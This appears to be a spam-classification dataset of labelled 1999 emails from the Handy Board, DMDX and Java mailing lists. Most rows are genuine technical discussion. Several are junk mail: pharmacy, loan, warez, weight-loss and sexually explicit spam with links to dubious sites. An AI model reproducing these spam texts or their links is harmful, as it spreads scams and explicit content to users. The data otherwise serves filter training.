hit a key as DMDX is running that stops the job till the threshold is adjusted. (4) A simple item file parameter and forget the registry and all that fancy crap. I don't like option 3 at all, however it provides the functionality that most closely mimics and electronic VOX. I don't expect anyone will want option 4. I prefer option 1a over option 2 because it's likely that once the threshold is set it won't need to be adjusted for individual subjects (Ken for instance asks the subject to speak louder instead of adjusting VOX sensitivity) and I prefer 1a over 1 so that in the event of constant casual adjustment of the threshold being necessary users not necessarily familiar with TimeDX won't have to run it and run the risk of inadvertantly borking the whole display system. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The brain works from the moment of birth until you stand up to speak in public. ",0,0 saroyan@us.ibm.com,handyboard@media.mit.edu,"Wed, 02 Jun 1999 12:08:17 -0600",using IC," I'm using IC to program the Handy Board but I have run into a slight problem. How do I undefine a ""main"" from the board so that I can define another ""main"" if I can't remember the name of the window I downloaded that had the wrong ""main"" on it? Thanks for your help! Salpi ",0,0 MSMKatz ,saroyan@us.ibm.com,"Wed, 02 Jun 1999 21:21:08 +0200",Re: using IC,"Hi Salpi, if you hold down the 'start' button while switching on your Handy Board, the code defined in ""main"" that is in Handy's memory at that time, will not run. You can then download a new program to your Handy Board and run it. Success, Marc Katz saroyan@us.ibm.com wrote: > I'm using IC to program the Handy Board but I have run into a slight problem. > How do I undefine a ""main"" from the board so that I can define another ""main"" if > I can't remember the name of the window I downloaded that had the wrong ""main"" > on it? > > Thanks for your help! > > Salpi ",0,0 Steve Wall ,handyboard@media.mit.edu,"Wed, 02 Jun 1999 15:43:06 -0500",Adding more meemory," I have one quesion is i possible to add another 32k ram chip to the handyboard? can IC acces this chip?, I understand that you use the existing address lines and add an inverter on the CE signal and rout it to another chip. Has anybody done this and succeded? Thank you in advnace for any help ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 jaime montemayor ,handyboard@media.mit.edu,"Wed, 02 Jun 1999 16:04:34 -0400",interrupt driven serial port input queue available for testing.,"dear colleagues, i've put together a package of files that gives you an interrupt driven serial port queue. it is currently implemented for input. the direct url is: http://www.cs.umd.edu/~monte/hbgoodies/ have fun and good luck. jaime montemayor university of maryland, college park department of computer science college park, md 20742",0,1 Dorian Goode ,handyboard@media.mit.edu,"Wed, 02 Jun 1999 16:44:41 -0120",Re:,"http://demira.inotecard.info/?76083005 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! Operative support, fast shipping, secure p@yment processing and complete confidentiality! The store is VERIFIED BY BBB and APPROVED BY VISA! http://demira.inotecard.info/?76083005 ",1,1 orthner@idirect.com,handyboard@media.mit.edu,"Wed, 02 Jun 1999 16:57:00 -0400",Re: using IC,"At 09:21 PM 6/2/99 +0200, MSMKatz wrote: >Hi Salpi, > >if you hold down the 'start' button while switching on your Handy Board, the code >defined in ""main"" that is in Handy's memory at that time, will not run. You can then >download a new program to your Handy Board and run it. > >Success, > >Marc Katz On the same note, there is a list files command that you can use at the command propmpt in IC to indicate which files are loaded. Then unload will remove whatever offending file. best, Duncan ",0,0 """Fred G. Martin"" ",Steve Wall ,"Wed, 02 Jun 1999 17:01:52 -0400",Re: Adding more meemory ,"there is a FAQ answer on this... short answer, not easy. fred In your message you said: > > I have one quesion is i possible to add another 32k ram chip to the > handyboard? can IC acces this chip?, I understand that you use the > existing address lines and add an inverter on the CE signal and rout > it to another chip. Has anybody done this and succeded? > > Thank you in advnace for any help > > > ___________________________________________________ > Steve Wall > Sir Sandford Fleming college > Swall@flemingc.on.ca > ",0,0 """Nelson H. F. Beebe"" ","java-sig@suncore.math.utah.edu, java-users@suncore.math.utah.edu","Wed, 02 Jun 1999 17:39:35 -0600",New paper with comments on Java's parallel computing model,"I just read this new paper by a well-known author and researcher in parallel computing; he levies rather strong criticisms about Java's parallel computing model, just as he did last year about MPI (Message-Passing Interface) and High-Performance Fortran: @String{j-SIGPLAN = ""ACM SIG{\\-}PLAN Notices""} @Article{Hansen:1999:JIP, author = ""Per Brinch Hansen"", title = ""{Java}'s Insecure Parallelism"", journal = j-SIGPLAN, volume = ""34"", number = ""4"", pages = ""38--45"", month = apr, year = ""1999"", bibdate = ""Wed Jun 02 14:42:20 1999"", acknowledgement = ack-nhfb, } ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Thu, 03 Jun 1999 13:43:53 +0100",[DMDX] Re: digitalVOX,"Hi Jonathan, I think digital VOX is a great idea. Especially because it gives so much flexibility in measuring naming response times copmared to an electronic voice key. As far as configuration issues go, I think it's probably best to keep novice users away from TimeDX if possible, and to not use TimeDX to set thresholds on a subject by subject basis. Out of your suggestions then: > Options include: > (1) Only allowing it to be set in TimeDX, providing a VU display feedback >and so forth and the resulting threshold stored in the registry and all >runs of DMDX simply use that value. > (1a) Same as (1) but having another button in the DMDX main dialog to >determine the threshold and not using TimeDX at all. > (2) Allowing DMDX to enter a special mode similar to a testmode (ie, as >part of an item file) to determine the thresold providing a VU display &c., >storing the resulting threshold it in the registry (using that value for >the initial setting of course). > (3) Allowing the experimenter hit a key as DMDX is running that stops the >job till the threshold is adjusted. > (4) A simple item file parameter and forget the registry and all that >fancy crap. I think setting an overall level and threshold in TimeDX is the right way to go - ie. option 1. I think adding an item file parameter (option 4) is not very useful. The setup is likely to be machine specific and hence best configured and stored in the registry. However, like frame duration, I think digital vox settings should be written to the .azk file when used. It should also be possible to adjust thresholds on a subject by subject basis without going into TimeDX - I guess this would require something like option 1a or option 2 in addition to option 1. Maybe you should have a button in the test mode that will make changes permanent by writing to the registry, but not do this by default. That way it will be easy to make changes for a particular subject and return to the default values subsequently. As for option 3, I think a big advantage of Digital VOX is that if the voice key stops working correctly then you can still rescue the results, simply by running an analysis after the end of the experiment on the sound files that have been recorded to the computers hard drive. Maybe this makes changing the threshold during the experiment less important - though I guess having this available would be useful. There is a piece of software called RunWord, developed by Chris Kello that takes this approach - storing sound files and analysing them later. Runword includes a iece of software called RunVoice that does a two stage (forward then backwards) parse of the acoustic signal allowing very sophisticated acoustic measures to be taken from speech files. It may be that looking at the way that Runword is set up may be useful to you (or maybe allowing DMDX to use runvoice for acoustic analysis). You can find more info on it here: http://www.cnbc.cmu.edu/~kello/runword.html there is also a paper on the software that describes the acoustic analysis in more detail. Kello, C. T., & Kawamoto, A. H. (1998). Runword: An IBM-PC software package for the collection and acoustic analysis of speeded naming responses. Behavior Research Methods, Instruments and Computers, 30, 371-383. Hope this is of use. I'm looking forward to trying out Digital Vox as soon as it is ready for testing. All the best, Matt ************************************************** Matt Davis Centre for Speech and Language Dept. of Experimental Psychology Cambridge University Email: matt@csl.psychol.cam.ac.uk WWW: http://csl.psychol.cam.ac.uk/~matt/ ************************************************** ",0,1 Frida ,handyboard@media.mit.edu,"Thu, 03 Jun 1999 10:21:30 -0500",Wish your fat is a goner,"the causation or bake be cosgrove be dunedin , emolument ",1,0 Bill Bynum ,handyboard@media.mit.edu,"Thu, 03 Jun 1999 15:27:02 -0400",Sharp IS1U60 IR Demodulator,"Hello, everyone: Someone in the past month was asking on the handbyboard list where to get the Sharp IS1U60 IR demodulator. I needed to buy six of the IS1U60's recently. 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Omitting a comma, bracket, or paranthesis are some of the more common syntactical errors that can ""choke"" the compiler. Ross M. Tonkens, M.D. Medical Director Primary Care of Nevada 100 North Green Valley Parkway Suite 240 Henderson, NV 89014 702 914-7120 VOICE 702 914-7129 FAX saroyan@us.ibm.com > > >What does ""parse error"" mean? > >Thanks! > >Salpi Aroyan >Tapehead Manufacturing Engineering >International Business Machine Corporation >saroyan@us.ibm.com >(408) 256-8251 > > > ",0,0 John Vaughn ,michaelj@wt.net,"Thu, 03 Jun 1999 20:23:33 -0400",Re: Ranging techniques," Mike Jones wrote: > Why not just use a table of the 18 averaged values for lookup and then estimate > in between the inch measurements. This would be faster than trying to to any > floating point math as long as you don't need too precise of a value (I would > think that 1/2 or 1/4 inch should be as accurate as you would need). > > Mike Yes, this is the method we used along after hacking up a cubic approximation using Graphical Analysis. The lookup table is plenty accurate and also demonstrates that some problems are best solved using nothing more than a ruler and a few spare minutes. The cubic was really no more accurate for our purposes. It isn't elegant but it got us through the maze at the Trinity Firefighting contest. John Vaughn Hobart & William Smith Colleges vaughn@hws.edu ",0,0 Bob Kelly ,handyboard@media.mit.edu,"Fri, 04 Jun 1999 08:55:26 -0400",How many times to upload??,"Hello all, On the Handy Board, how many times can program files be uploaded to the memeory on the board? I am not much of a programmer and spend alot of time de-bugging. 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Annual report on: Digital TV, iTV, broadband TV, IPTV, VoiP, cable TV, pay TV, VoD, media centres, FttH, convergence, DVR, PVR, branding, customer service, permission based marketing, regional overviews: Europe, USA, Asia, Canada, Australia, New Zealand. Report also contains: Triple Play business Models Branding, Customer Services, Marketing Strategies Bundling voice, broadband and video services Digital, Interactive, IPTV and Mobile TV Key Trends , Developments and Analyses Technologies and Services Regional Overview The media market is on the verge of massive changes. With the convergence of telecoms, media and IT, we see the arrival of Digital Media. DSL and cable based-broadband networks are rapidly moving into triple play models, delivering voice, data and video services. Broadband TV (IPTV), Digital and Personal Video Recorders (DVR or PVR) and Video-on-Demand (VoD), are a few of the prominent services which promise fresh opportunities for emerging digital media companies. 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Thank you and regards. Victor Lee ",0,0 Hoopes ,handyboard@media.mit.edu,"Mon, 07 Jun 1999 08:41:59 -0500",zipping my energy,"try grey be markovian see parasol on deer be brucellosis ",1,0 Joey Sims ,"""'ggilfoyl@richmond.edu'"" ","Mon, 07 Jun 1999 14:08:03 -0400",Linux Cluster,"Everything okay so far? Let me know how you're doing. Sincerely, Joey P. Sims Senior Account Executive Atlanta, GA joey.sims@ponycomputer.com Toll Free (888) 809-1588 x 105 Fax (770) 806-1566 ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 07 Jun 1999 14:39:00 -0700",[DMDX] DMDX 1.1.00," I've added audio input abilities, both subject recording and digital VOX abilities to DMDX 1.1.00 and calibrated them and they appear to function rather well. See the new Audio Input section in the DMDX help file. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The brain works from the moment of birth until you stand up to speak in public. ",0,0 aldo@lacapital.com.ar,handyboard@media.mit.edu,"Mon, 07 Jun 1999 18:08:01 -0300",LEGO parts,"Hello! Anybody knows who sells LEGO parts in USA and ships them to foreign countries. Thank you Aldo Gentile aldo@lacapital.com.ar Aldo Gentile Diario LA CAPITAL Rosario, Argentina ",0,0 saroyan@us.ibm.com,handyboard@media.mit.edu,"Mon, 07 Jun 1999 16:15:56 -0600",GP2D02 IR sensor," Where can I find specific instructions on how to hook up the GP2D02 to the Handy Board? Thanks! Salpi Aroyan Tapehead Manufacturing Engineering International Business Machine Corporation saroyan@us.ibm.com (408) 256-8251 ",0,0 Rob Lear ,handyboard@media.mit.edu,"Mon, 07 Jun 1999 21:19:41 -0500",Re: LEGO parts,"A good source for Lego and Lego Dacta parts is: Pitsco Lego-Dacta P.O. Box 1707 Pittsburg, Kansas (USA) 66762 1 (800) 362-4308 1 (888) 534-6784 (FAX) I called them for a free catalog and found them to be very helpful. Regards, Rob Lear -----Original Message----- From: aldo@lacapital.com.ar To: handyboard@media.mit.edu Date: Monday, June 07, 1999 4:54 PM Subject: LEGO parts Hello! Anybody knows who sells LEGO parts in USA and ships them to foreign countries. Thank you Aldo Gentile aldo@lacapital.com.ar Aldo Gentile Diario LA CAPITAL Rosario, Argentina",0,0 Juana lelato ,DMDX@psy1.psych.arizona.edu,"Mon, 07 Jun 1999 22:51:58 -0400",hafijynzihu,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. Some of them specialise in cases where the homeowner has no proof of income or negative equity. Some of them do not care about arrears and poor credit ratings Some of them offer stunning rates as low as 3.75%, and offer loans of over $2,000,000 Some of them offer relief loans of as little as $20,000 to give you room to breathe! You could pay for a car or go on holiday as well! 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Matthijsse"" ","""Handyboard (E-mail)"" ","Tue, 08 Jun 1999 11:17:44 +0200",How to make your own assembly code position independant,"Hi, I am currently trying to get some existing assembly code (not written by me) loaded into the HB. It loads fine, but everything gets messed up after running it. The exact addresss of this code is not known at the time of assembly and IC just loads it in memory after the stuff that it already loaded. This means code needs to be position independant ( or does IC have a kind of loader ??) What are the 'mistakes' to make code dependant on its position in memory and how to solve ? Can anybody shine some light on it ? I even do not exactly understand the example in the HB manual on installing an interrupt routine of your own. This code uses the construct of 'LDD #interrupt_code_start, STD TOC4INT,X'. I know it works but .... #interrupt_code_start is just an address generated during assembly, which is a 'fictive address'. The begin address of this interrupt-routine as stated during assembly is not the same as the load address when loaded. How does this stuff work ? I am stuck. It works but I do not exactly understand how. Please help ...... Rien rien@direct.A2000.nl ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 08 Jun 1999 11:04:23 -0700",[DMDX] 1.1.00," There might be a little trouble with the DigitalVOX in 1.1.00, I'm looking at it now but essentially if the time between clockons is less than the timeout the RT for that item will be calculated incorrectly (becuase the capture buffer will not have been restarted on account of it already being started) if the RecordVocal device is not used in conjunction with the DigitalVOX device (I think). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Where in the world does the guy who has everything put it? ",0,0 Joey Sims ,'gilfoyle' ,"Tue, 08 Jun 1999 11:37:46 -0400",RE: Linux Cluster,"no problem. Return the items to: Pony Computer, Inc. 1775 Breckinridge Pkwy Suite 100 Duluth, GA 30096 The DOA machine could be anything. We will fix it no problem. Could be a CPU shifted out during shipping. Pentium II's & III's are notorious for jiggling out of the slot and causing the machine not to boot. All of these machines were burned in and tested but, this happens. I will fax you an RMA form that will have an RMA#. Put that number on the shipping box and ship to same address as above ATTN: RMA DEPT. Video Adapter: ATI 3D Charger 4MB AGP. Chipset is the ATI Rage IIC. What is your direct fax # for the RMA form? > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Tuesday, June 08, 1999 11:25 AM > To: Joey Sims > Subject: Re: Linux Cluster > > hi joey, > > sorry for the delay getting back to you, but i was > at a jlab meeting last week. our current situation is this. > we will box up and send the over ordered items back to > you this afternoon or tomorrow. i'm assuming that i can > remove those items from our second purchase order. in other > words, it looks like we paid for the items twice and i'll > remove the second payment from our second purchase order. > the items are the 13 ethernet boards and the 10 extra memory > boards. > > of greater importance at the moment is that we can't get > one of the cpus to boot. we have mounted all 12 in the rack > and cabled them up. eleven of the twelve boot up. the last > one holds power. when we turn the power switch on in the > back the red HDD light on the front comes on, but when we > hit the toggle switch on the front it sounds like the > disk is trying to start, but then stops. are there any > tricks we can try? or should we box it up and return it? > > the last item/problem is that we want to reconfigure the > monitors and we need to know the specs on the video board. > we need to know the manufacturer, model number, resolution, > refresh rate, the clock chip, etc. > > thanks-in-advance for your help, > > jerry > > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 Matt Austin ,Handy Board Mailing List ,"Tue, 08 Jun 1999 19:02:46 +0100",Digital Input Problems,"Hi all, I'm at stage 7.2.2. of assembly, and I have partial failure of the digital ins, when I type ""testdigitals();"" at the ic prompt, (After pressing start, and stop) I get on the handyboard screen 9 gently flashing zeros, nothing wrong so far then! The far right digital (Labled 7 works fine, and changes to a 1 when tested, but if I try any of the other digitals I get ""111111110"" shown on the screen, does this mean RP1 is in backward? Or is there another problem? Thanks in advance! ------------------------ Matt Austin Falinn@Ukmax.com Home Page: Http://www.Geocities.Com/Area51/Stargate/4133 ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 08 Jun 1999 14:57:57 -0700",[DMDX] 1.1.01," Fixed the DigitalVOX device. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Where in the world does the guy who has everything put it? ",0,0 orthner@idirect.com,handyboard@media.mit.edu,"Tue, 08 Jun 1999 17:28:31 -0400",Re: Digital Input Problems,"At 07:02 PM 6/8/99 +0100, Matt Austin wrote: >Hi all, > I'm at stage 7.2.2. of assembly, and I have partial failure of the digital >ins, when I type ""testdigitals();"" at the ic prompt, (After pressing start, >and stop) I get on the handyboard screen 9 gently flashing zeros, nothing >wrong so far then! The far right digital (Labled 7 works fine, and >changes to a 1 when tested, but if I try any of the other digitals I get >""111111110"" shown on the screen, does this mean RP1 is in backward? Or is >there another problem? Thanks in advance! Sounds like the inputs are shorted together somehow. Check your soldering in this area for bridges. Best, Duncan ",0,0 Charles Hacker EAS ,marobi@direct.a2000.nl,"Wed, 09 Jun 1999 09:23:45 +1000",Re: How to make your own assembly code position independant,"Marobi, Do not know much about IC and assembly code downloading. However, I have produced a system for programming the HandyBoard with Assembly/machine code. This system may help you. It can be downloaded from: http://132.234.46.5/Programs/HBoard/Index.shtml > Hi, > > I am currently trying to get some existing assembly code (not written by me) loaded into the HB. > It loads fine, but everything gets messed up after running it. > The exact addresss of this code is not known at the time of assembly and IC just loads it in memory > after the stuff that it already loaded. > This means code needs to be position independant ( or does IC have a kind of loader ??) > What are the 'mistakes' to make code dependant on its position in memory and how to solve ? > > Can anybody shine some light on it ? > I even do not exactly understand the example in the HB manual on installing an interrupt routine of your own. > This code uses the construct of 'LDD #interrupt_code_start, STD TOC4INT,X'. I know it works but .... > #interrupt_code_start is just an address generated during assembly, which is a 'fictive address'. > The begin address of this interrupt-routine as stated during assembly is not the same as the load address when loaded. > How does this stuff work ? > > I am stuck. It works but I do not exactly understand how. > > Please help ...... > > > Rien > rien@direct.A2000.nl > Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 5594 8670 Fax.(07) 5594 8065 ",0,1 Andrew Vlasov ,handyboard ,"Wed, 09 Jun 1999 13:00:52 +0400",Microsoft IntelliEye mouse - very good robot position tracker?,"Product Description: ""Microsoft IntelliEye technology employs a tiny chip with a sensor and digital signal processor (DSP). The sensor’s glowing red light captures “snapshots” of the work surface at a rate of 1,500 images per second. The DSP translates changes between the images into on-screen pointer movements. This technique, image correlation processing, executes 18 million instructions per second (MIPS) and results in smooth, precise pointer movement"". So, IntelliEye may give true robot position, no stupid shaft position! Is anybody have more info about IntelliEye hacking? Have a Nice day. ==================================== Andrew Vlasov Software Developer DiComp Email : vlas@dicomp.ru Web: http://www.dicomp.ru Phone: + 7 095 406-2036 ",0,1 JensGraf ,Handyboard ,"Tue, 08 Jun 1999 15:22:38 +0200",Where can I get a cheap HB?,"Hi all, To start with the HB I have to buy one. But where can I get a HB with an acceptable price? Or should I buy the components to build the HB myself? Jens G. ",0,0 """Nelson H. F. Beebe"" ","java-users@csc-sun.math.utah.edu, java-sig@csc-sun.math.utah.edu","Wed, 09 Jun 1999 07:08:19 -0600",Java standardization progress,"Those of you interested in the Java standardization process may wish to visit this URL: 1616 Sun Submits Java For Industry Standardization Java Technology Submitted To ECMA For Standardization http://sun.systemnews.com/bin/get_sn.cgi?jobid=1616 ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 09 Jun 1999 15:19:18 +0100",[DMDX] Modelling,"Hi. You mentioned at some point maybe dooing some modelling of morphology. I am all fired up after Aix (it won't last....) and have a couple of ideas. Contestant number one....Modelling the affix priming results. We have no/marginal priming for non/less productive affixes, priming for productive affixes and no priming for inflectional affixes. The idea for the derivational is that the productive affixes are in some way separate items where the non prod are locally attached. I suppose they would be more clustered in lexical space with fewer outliers due to the freedom of use and lower restrictions on what they bind with. The inflections are more so, but differ in that they are vastly more frequent and consistent, have different functions etc. Assuming we can get away without doing it all in context, can we model the priming results with simple frequency, consistency of meaning etc? Quantitative change causing qualitative differences. Do three affixes, non prod, prod, inflectional. Contestant number 2.....Delayed priming? Why we get morph and not sem? Simply speaking a form and meaning morphological relationship, the kind that exists with massive frequency in the language as a whole is a much stronger relationship than one of overlapping semantics (e.g. cello-violin) or form (electrode-elect) which are single examples? Can delayed priming be modelled? The above result is often taken as proof of a separate effect of morphology. - Mike xoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxox ",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 09 Jun 1999 15:49:31 +0100",[DMDX] Ooops,"Sorry for the accidental mailing. Shouldn't just hit reply without looking where it's going to. - Mike xoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxoxox ",0,1 Bessie Gordon ,handyboard@media.mit.edu,"Wen, Mon, 7 Jun 1999 09:58:06 -0100","My Friend, You are in Trouble","We offer INSTANT DOWNLOAD! You will no need to wait 2-3 week for CD delivery - you can download any program and PC games at once you have purchased it! Most of program packages are within 50-150 MBs and even if you have slow modem connection you'll be able to download for an ONE day. Why so cheap? All the software is OEM - Meaning that you do not get the box with it. You receive the software carrying a unique registration code. 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I live in California. I got the components through various mail order places like: Digikey, Mouser. And from local discount surplus electronics store HCS, who buys overstocked componenets from the Silicon Valley. Very low prices and all kinds of neat stuff!!!!! The display I got through Timeline in San Jose for $7.00 ea. The more difficult parts like the IR sensor IS1U60 and the reset circuit DS1233-10 I received as samples at 0 cost through FAI Electronics distributors. (I work at HP). Boards were purchased through Douglas for ~$30.- US for one set including the expansion board. Newark mail order carries the microprocessor MC68HC11A1FN for ~12.- If you do not live in the US you probably spent a lot on shipping the stuff, so your best bet may be to just buy a pre-assembled board or a complete parts kit, I think Douglas does have this service. Here are some web sites you may look at: www.newark.com mail order electronics www.digikey.com mail order www.mouser.com mail order www.digisys.net/timeline/ LCD display www.douglas.com PCB boards, possibly part kits. I had good success building both and they worked right out of the box, no hardware errors, your success may very. Good luck, Bart Schrijver Bart_Schrijver@hp.com _____________________Reply Separator _________________________________ Subject: Where can I get a cheap HB? Author: Non-HP-JensGraf (JensGraf@gmx.de) at HP-PaloAlto,mimegw2 Date: 6/8/99 6:22 AM Hi all, To start with the HB I have to buy one. But where can I get a HB with an acceptable price? Or should I buy the components to build the HB myself? Jens G. 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GET IN NOW, DO""NT REGRET LATER canons gospels demitting Dadaism empiricists desk's influentially daemons durability jitterbug forcefulness discord enshroud amazing bouts deferred empiricists legislates bounty's chew hoariness alienating imposing adulthood disassembled gospels gangster expertly distorts ",1,0 Gary Livick ,JensGraf ,"Wed, 09 Jun 1999 09:53:41 -0700",Re: Where can I get a cheap HB?,"Jens, I too built up a pair of Handy Boards from parts I bought myself. I concur that the assembled price is around $100 plus or minus for both the Handy Board and expansion board. However, the time spent to find all the components, some of which you may need to buy in quantitiy, and then build the things is maybe 10 hours or so, and has some frustration associated with it. Then of course you may put a resistor pack or a polarized capacitor in backward, adding some more time to the effort. If you are handy at building things and like to do it, its fun. The instructions are very clear on the Handy Board site, and there are diagnostic programs to help you find things that don't work as you go. But if you don't have the two or three weeks it will take to get all the parts and build the boards, then a preassembled and tested unit is a real bargain. In that case, I would suggest you get yours from an authorized source listed on the Handy Board site. Good luck, Gary Livick ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 09 Jun 1999 15:16:01 -0700",[DMDX] E switch,"Although the E switch's use in DMDX is redundant due to DMDX's enhanced design it has been included to (a) provide backward compatability with DMTG's scripts and (b) as a last resort mechanism to deal with DMDX's enhanced design not dealing with something and leaving stuff on the screen (although the recently added keyword is better at handling stray pixels when related to unusual fonts). Hence it's not exactly the most tested of DMDX switches out there and has had a rather glaring hole in it's logic for a long time in that a frame with only an E switch in it produced no display queue element when it should have resulting in out of sync back buffers (which results in displays containing previous frames or parts of them). This has been fixed in 1.1.02 which has not been released yet because we are hunting for another more worrisome display error (that has the same kind of dramatic symptoms) and 1.1.02 will address that issue as well. Basically if you have scripts with the E switch in them they should be removed in any event as even when E is functioning correctly it has dramatic performance degrading issues (the DMDX help file has details). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Where in the world does the guy who has everything put it?",0,0 Bocquet777@aol.com,handyboard@media.mit.edu,"Wed, 09 Jun 1999 15:53:23 -0400",Re : Where can I get a cheap HB?,"Hi, I'm a french student and I buy one handy board at robot store (HongKong) only by mail. I paied it about 179 Euros for the assembled version with the Interactive C version 3.1. I think that for the first handy board it better to buy it assembled like you can understand how it works before to build one another. The address of this shop is : http://home.hkstar.com/~huip/ Good luck and bye bye... Nicolas BOCQUET ECAM Lyon, FRANCE. ",0,1 Jeff Bowles ,"handyboard@media.mit.edu, amber@media.mit.edu, rosella@media.mit.edu, elena@media.mit.edu, lorene@media.mit.edu, greg@media.mit.edu","Wed, 09 Jun 1999 16:48:19 -0400",Burn calories,"Summer is coming, did you look in the mirror lately? If you`re still overweight you MUST visit us: http://051.bluehealthingred.com WE WILL HELP YOU! posable you throw me, dogmatic revere . agnomen you debris me, failsoft dexterity beowulf equipotent . boulder you cynthia me, pollster snider inefficient . willow you variety me, mercantile singapore brunswick . togs you voice me, keynote enthalpy precipitous . dot you swerve me, analgesic booty force icosahedral . http://051.bluehealthingred.com/rm/ ",1,1 BART_SCHRIJVER@HP-Sonoma-om2.om.hp.com,handyboard@media.mit.edu,"Wed, 09 Jun 1999 17:17:07 -0700",Re: Many requests for source for DS1233-10 and IS1U60.," All: I found a good source for above mentioned parts at Future electronics. Web site : www.future.ca/fai , no part search but contact adresses in here. I used their Sacramento outlet: 3009 Douglas Blvd Suite 120 Roseville, Ca 95661 Voice (916) 783-7877 Fax (916) 783-7988 FutureSacramento@future.ca Regards, Bart ______________________________ Reply Separator_____________________ Subject: Address Author: Non-HP-chipper (chipper@cttel.net) at HP-PaloAlto,mimegw2 Date: 6/9/99 5:08 PM Hey Bart, I read your post regarding construction of the HB. I am putting the finishing touches on mine, but am having a difficult time finding the DS1233-10. Could you give me the address and phone number for FAI Electronics?? Much appreciated if you could. Thank you. ",0,0 Chris Adams ,handyboard@media.mit.edu,"Wed, 09 Jun 1999 19:39:59 -0700",unsubscribe help,"I lost my directions on how to unsubscribe and the email address that I send it to could you please help ",0,0 sakar@servidor.unam.mx,handyboard@media.mit.edu,"Wed, 09 Jun 1999 22:26:50 -0600",Bad Memory ? Help!!!,"Hi I trie to use the 62256BLP-10, instead of the 62256LP-120. And it didn´t work on the Handy board, but download program on the PC, said that the download was fine ""Reboot the board"", then I unplugged the Memory Chip, and tha same thing happend. Please Help me !! I don´t know what to do now? Has anybody use a 6225LP-series, (10, 50, 70, 80).? Thanks Daniel --------------------------------------------------------------------- "" `BETTER´ IS THE ENEMY OF `GOOD ENOUGH´"" --------------------------------------------------------------------- ",0,0 Rosa ,handyboard@media.mit.edu,"Thu, 10 Jun 1999 22:59:31 -0400",Youngest handsome Girl fuccked by oldman.," Do you like charming Eighteens doing ravishing blowjobb? http://thegameline.info/fphp.htm?iSPhfd.fX,hj R-E-M-O--\\/-E http://thegameline.info ",1,1 """SHETTI.NITIN.MANGESH"" ",Jose Luis De Filpo ,"Thu, 10 Jun 1999 21:20:33 -0500",Re: Memory & Sound Detection,"Dear Jose, > Is there a way to remove a program from the memory of the HB > without downloading the PCode? , for example i have two programs in memory, > and i want to remove only one of them, is it possible? I believe that there is an unload command, with syntax unload Please verify it. Yours sincerely, Nitin",0,0 Satish Chetty ,handyboard@media.mit.edu,"Thu, 10 Jun 1999 12:23:43 -0400",Hi,"Thursday, 10th day of June, 1999, 12:18 AM, EST. Hi, I recently joined the HB club by buying a pre assemebled HB. I soldered the battery pack terminals to the HB (yes I checked the +ve and -ve terminals). However, when I try to follow the instructions of downloading the .s19 file, I get ""Wrong Port or board mode"". Also, I noticed that the board gets heated and when I switch the board to download mode, the LEDs don't blink for 1/3 second. Could somebody tell me what I could be doing wrong? Could it be because I am using regular batteries instead of recharables? Thanks, -SAtish. -------------------------------------------------------------------------------- Fortune cookie for the mail...generated automatically by the server. The light at the end of the tunnel is the headlight of an approaching train. 